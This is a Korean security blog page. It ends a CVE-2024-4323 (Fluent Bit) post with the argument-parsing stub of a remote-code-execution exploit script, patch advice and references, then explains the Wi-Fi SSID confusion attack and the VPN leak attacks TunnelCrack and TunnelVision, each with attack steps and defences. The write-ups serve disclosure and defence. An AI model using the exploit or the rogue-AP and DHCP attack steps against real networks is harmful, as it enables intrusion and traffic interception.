if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit for CVE-2024-4323")
    parser.add_argument("-u", "--url", required=True, help="Target URL")
    parser.add_argument("-p", "--port", required=True, help="Target port number")
    parser.add_argument("-c", "--code", required=True, help="Remote code to be executed")

    args = parser.parse_args()

    exploit(args.url, args.port, args.code)

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5]

취약점 영향 받는 버전 해결 버전
CVE-2024-4323 Fluent Bit 2.0.7 ~ 3.0.3 버전 Fluent Bit 3.0.4 버전

 

4. 참고

[1] https://fluentbit.io/
[2] https://github.com/fluent/fluent-bit
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-4323
[4] https://github.com/skilfoy/CVE-2024-4323-Exploit-POC
[5] https://fluentbit.io/announcements/v3.0.4/
[6] https://www.tenable.com/security/research/tra-2024-17
[7] https://www.boannews.com/media/view.asp?idx=129955&page=1&kind=1

'취약점 > Denial of Service' 카테고리의 다른 글

DNS BIND DDoS 취약점  (0) 2024.07.31
NXDomain Flooding  (0) 2024.07.28
CONTINUATION Flood  (0) 2024.04.07
Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28

1. 개요

WiFi 표준의 설계 결함으로 인해 SSID 혼동 공격이 발생할 수 있음 [1]
- 피해자를 속여 취약한 네트워크에 연결시키거나 트래픽을 탈취할 수 있음
IEEE 802.11 WiFi 표준 자체의 설계 결함으로 모든 장치 및 운영 체제의 WiFi 클라이언트에 영향

> 해당 취약점에 CVE-2023-52424 할당

 

2. 주요내용

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-52424

 

- 취약점의 근본 원인 IEEE 802.11 표준이 클라이언트 연결 시 SSID(네트워크 이름)를 항상 인증하지 않는다는 것

> 즉, SSID 인증 부족을 악용해 피해자가 다른 Wi-Fi 네트워크에 연결하도록 속이는 것

 

- 인증 핸드셰이크 중 SSID를 사용하여 암호화키를 도출하는지 여부가 취약성 여부를 결정

인증 프로토콜 설명
WEP - 취약한 RC4 알고리즘을 사용하기 때문으로 판단됨
> 키 스트림 편향 문제, 완전한 난수가 아닌 의사난수 사용 등
WPA3 - SAE 핸드셰이크에서 PMK를 생성하는데 SSID를 사용하지 않는 선택적 모드 존재
> SAE (Simultaneous Authentication of Equals): 두 장치가 공유한 임의의 숫자를 사용해 공유 키를 계산해 통신에 암호화
> PMK (Pairwise Master Key): SAE에 의해 생성되는 공유 키
802.11X/EAP - PMK를 생성하기 위해 SSID를 사용하지 않음
AMPE - 인증을 위해 802.1X를 사용하며, 802.1X는 SSID를 확인하지 않음
FILS - PMK를 생성하는 데 사용되는 공유 키가 EAP 핸드셰이크에 의해 생성되는 경우 취약
- 또는, 캐시된 PMK를 사용하는 경우 피해자가 이전에 신뢰할 수 없는 대상 네트워크에 연결한 경우에만 취약

 

[사진 2] 취약 프로토콜 (주황색: 특정 조건 하 취약)

 

- 공격에 성공하기 위해서는 세 가지 조건이 존재

① 피해자는 신뢰할 수 있는 Wi-Fi 네트워크에 연결을 시도

② 신뢰할 수 있는 네트워크와 동일한 인증 자격 증명을 사용하는 악성 네트워크가 존재

③ 공격자는 피해자와 신뢰할 수 있는 네트워크 사이에서 MitM 공격을 수행할 수 있는 범위 내 위치

 

- 공격 과정은 다음과 같음

① 공격자는 신뢰할 수 있는 네트워크와 유사한(동일한 인증 자격 증명을 사용) 악성 AP 및 네트워크를 구성

② 악성 네트워크를 신뢰할 수 있는 네트워크로 가장하여(SSID 변경) 네트워크에 광고

③ 피해자의 Wi-Fi 클라이언트는 신뢰할 수 있는 네트워크와 연결된 것으로 착각(실제로는 악성 네트워크와 연결)

④ 공격자는 트래픽을 가로채 SSID를 변경해가며(신뢰<->악성) 중간자 공격을 수행

 

※ 일부 VPN 클라이언트의 경우 "신뢰할 수 있는" Wi-Fi 네트워크에 연결할 때 자동으로 VPN 연결 비활성화

> 일반적으로 VPN 설정에서 신뢰할 수 있는 SSID를 지정하여 사용

> SSID 혼동 공격이 성공하면 VPN이 비활성화되어 사용자 트래픽이 노출

[사진 3] SSID 혼동 공격 과정

 

대응방안 Wi-Fi 표준 개선 - 보호된 네트워크에 연결할 때 SSID 인증을 의무화하도록 표준 업데이트
> 4-Way 핸드셰이크 과정에서 SSID를 포함하도록 업데이트
Wi-Fi 클라이언트 개선 - 클라이언트 수준에서 비콘 보호 기능이 향상되면 공격 방어에 도움
> 비콘: 무선 액세스 포인트가 주기적으로 전송하여 자신의 존재를 알리는 관리 프레임
> 현재 논의중인 Wi-Fi 7은 비콘 보호에 대한 지원을 의무화
자격 증명 재사용 방지 - SSID 전체에서 자격 증명 재사용 방지
> 기업 네트워크는 고유한 RADIUS 서버 CommonName 사용
> 가정용 네트워크는 SSID 별로 고유한 비밀번호 사용

 

3. 참고

[1] https://www.top10vpn.com/research/wifi-vulnerability-ssid/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-52424
[3] https://www.boannews.com/media/view.asp?idx=129889&page=1&kind=1
[4] https://www.dailysecu.com/news/articleView.html?idxno=156035

1. VPN(Virtual Private Network)

- 가상 사설망

- 기존 공용 네트워크에 터널링 및 암호화 기법을 사용해 만든 가상 사설망 네트워크

- VPN을 활용해 외부에서 안전하게 내부망과 통신할 수 있음

- 비용 효율, 익명성, 암호화, IP 우회 등의 장점과 속도 저하, 일부 국가 불법 등의 단점이 있음

 

2. TunnelCrack [1]

- 23.08.08 VPN의 두 가지 보안 취약점이 결합된 트래픽 유출 취약점이 발견

> 해당 공격은 사용되는 VPN 프로토콜과 무관

> 많은 VPN 클라이언트는 다음 두 가지 유형의 트래픽을 VPN 터널 외부로 전송하기 위해 예외를 추가

① 로컬 네트워크와 주고받는 트래픽: VPN을 사용하는 동안 로컬 네트워크에 계속 액세스할 수 있도록 보장

② VPN 서버와 주고받는 트래픽: 라우팅 루프가 없음을 보장

 

2.1 LocalNet 공격 (CVE-2023-36672, CVE-2023-35838)

[사진 1] LocalNet 공격 요약

 

- 공격자가 로컬 네트워크 IP 주소 범위를 조작하여 트래픽이 유출될 수 있음

> 공격자가 로컬 네트워크에 할당된 IP 범위를 제어할 수 있다고 가정

> 공격자는 로컬 네트워크 내에서 활동

① 공격자는 악성 AP를 생성 하고 로컬 네트워크 IP 범위를 대상 서버의 IP 주소가 포함된 범위로 설정

② 피해자 VPN 클라이언트는 연결하려는 웹사이트가 로컬 네트워크에 있다고 믿도록 속여 연결되지 않음

 

[사진 2] LocalNet 공격 과정

 

① 공격자는 악성 AP를 생성하고 대상 서버의 IP 주소가 포함된 범위로 IP 범위를 설정하며, 피싱 사이트 생성

> 피싱 사이트는 대상 서버와 IP를 동일하게 구성

② 피해자는 악성 AP에 연결하며, 악성 AP는 target[.]com과 동일한 서브넷의 IP 주소 할당

③ 피해자는 정상적인 VPN 연결을 생성

④ 피해자가 target[.]com 접속 시 피싱 사이트로 연결

> 피해자는 target[.]com(피싱 사이트)가 동일한 로컬 네트워크에 있다고 믿음

> 결과적으로 클라이언트는 VPN 터널을 사용하지 않고 웹 서버에 직접 연결 시도

※ 목적지 target[.]com을 제외한 트래픽은 정상 VPN 터널을 통해 전송

 

2.2 ServerIP 공격 (CVE-2023-36673, CVE-2023-36671)

[사진 3] ServerIP 공격 요약

 

- 공격자는 VPN 서버의 IP 주소를 스푸핑하여 트래픽이 유출될 수 있음

> 공격자가 DNS 응답을 스푸핑할 수 있다고 가정

> 공격자는 위치는 (1) 피해자가 VPN 서버의 IP 주소를 조회하는데 사용하는 DNS 서버 (2) 트래픽을 유출하려는 피해자와 대상 서버

① 공격자는 피해자의 VPN 서버에 대한 nslookup 결과를 스푸핑 (DNS 스푸핑)

② 피해자는 스푸핑된 IP 주소로 서버에 연결 시도

 

[사진 4] ServerIP 공격 과정

 

① 피해자는 vpn[.]com의 IP를 얻기위해 nslookup

② 공격자는 nslookup에 대한 응답을 스푸핑하여 조작된 응답을 전송

> [사진 4]에서는 target[.]com의 IP 주소로 DNS 스푸핑

③ 피해자는 조작된 IP로 VPN 연결을 시도하며, 공격자는 정상 vpn[.]com으로 패킷 포워딩

④ 피해자가 target[.]com으로 접속 시 트래픽은 VPN 터널 외부로 전송

> 결과적으로 VPN 클라이언트는 스푸핑된 IP 주소로 연결을 시도

 

2.3 취약점 영향 및 대응 방안

[사진 5] TunnelCrack에 영향받는 VPN 클라이언트 비율 (좌 LocalNet, 우 ServerIP)

구분 대응방안
LocalNet - 로컬 트래픽 비활성화 (단, 로컬 네트워크 사용이 불가해짐)
- 라우팅할 수 없는 IP 주소에 대한 직접 액세스만 허용 (로컬 네트워크에 대한 액세스가 필수인 경우)
ServerIP - 정책 기반 라우팅 (VPN 클라이언트를 제외한 모든 애플리케이션의 트래픽을 VPN 터널을 통해 전송)
- 서버 IP 주소 확인 (클라이언트가 서버에 연결되면 VPN 서버의 IP 주소 확인)
- 인증된 DNS 사용 (DNSSEC 등)

 

3. TunnelVision (CVE-2024-3661) [2][3]

- 24.05.06 VPN 트래픽을 훔쳐볼 수 있는 취약점이 발견

> DHCP의 설계 오류로 인해 발생

> IP 라우팅을 기반으로하는 모든 VPN 시스템에 통하는 공격으로 2 가지 조건을 가짐

① 공격자가 클라이언트의 DHCP 서버가 되어야 함

② 대상 호스트의 DHCP 클라이언트는 옵션 121을 구현해야 함

 

- DHCP Option 33 vs Option 121

> 1997년 DHCP RFC에는 관리자가 클라이언트의 라우팅 테이블에 설치할 고정 경로를 지정할 수 있는 옵션 33 존재

> 옵션 33Classful Static Routes를 사용하였고, 공용 IP 공간이 제한되면서 시간이 지남에 따라 선호되지 않음

> 2002년 RFC 3442에서 Classless Static Routes가 가능한 옵션 121 도입 (호환을 위해 옵션 33 유지)

> TunnelVision은 옵션 121를 악용해 공격

※ Android는 DHCP 옵션 121을 지원하지않아 영향받지 않음

 

[사진 6] TunnelVision 공격 과정 [4]

 

① 공격자는 정상 DHCP 서버에 DHCP 고갈 공격을 수행

> DHCP 고갈 공격: DHCP 서버에 MAC 주소를 변조하여 DHCP Discover 패킷을 계속 전송하여 IP 주소를 모두 소진하도록 하는 공격

> DHCP는 DHCP Discover 패킷의 MAC 주소만 보고 호스트 인식

② 공격자는 피해자와 동일한 네트워크에서 악성 DHCP를 운영

③ 악성 DHCP 서버는 옵션 121을 악용해 라우팅 테이블에 고정 경로를 구성

④ 공격자는 트래픽이 기본 게이트웨이로 전달되기 전에 암호화되지 않은 트래픽을 가로챌 수 있음

 

[사진 7] 옵션 121을 악용한 정적 경로 [4]

 

 

[영상 1] TunnelVision 공격 시연 영상 [5]

 

3.1 대응방안

구분 설명
DHCP Snooping - DHCP 서버를 보호하기 위해 사용하는 기능
> 스위치에는 DHCP 서버 또는 DHCP Relay Agent가 접속된 Trusted Port와 DHCP 클라이언트가 접속된 Untrusted Port가 있음
> Untrusted Port에서 DHCP 응답 메시지를 확인하면 차단 (DHCP Spoofing 방지)
> 또한, Ethernet 프레임의 SRC MAC 주소와 DHCP 메시지의 클라이언트 MAC 주소를 비교해 정상 여부 판단 (DHCP 고갈 공격 방지)
옵션 121 비활성화 - TunnelVision은 옵션 121을 악용하므로 옵션 121 비활성화시 완화할 수 있음
포트 보안 - 포트에 연결된 PC의 MAC 주소를 등록한 후 등록된 MAC 주소에서 수신한 패킷만 전달

 

4. 참고

[1] https://tunnelcrack.mathyvanhoef.com/details.html
[2] https://www.leviathansecurity.com/blog/tunnelvision
[3] https://github.com/leviathansecurity/TunnelVision
[4] https://www.zscaler.com/blogs/security-research/cve-2024-3661-k-tunnelvision-exposes-vpn-bypass-vulnerability

[5] https://www.youtube.com/watch?v=ajsLmZia6UU

+ Recent posts